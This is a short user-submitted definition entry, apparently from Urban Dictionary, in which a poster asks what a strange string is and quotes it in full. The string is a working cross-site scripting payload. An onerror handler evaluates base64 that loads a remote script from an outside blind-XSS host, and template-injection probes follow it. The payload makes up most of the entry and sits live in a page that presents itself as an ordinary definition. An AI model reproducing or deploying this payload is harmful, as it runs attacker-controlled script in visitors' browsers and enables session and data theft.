Definitions by Some French student

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What tf it is ?

Seriously please explain , I have no clue.

I was on the urban dictionary website and then I saw "><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmFja3hzcy54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7>{{7*7}}[7*7]{{7'*'7}} and I wrote this.

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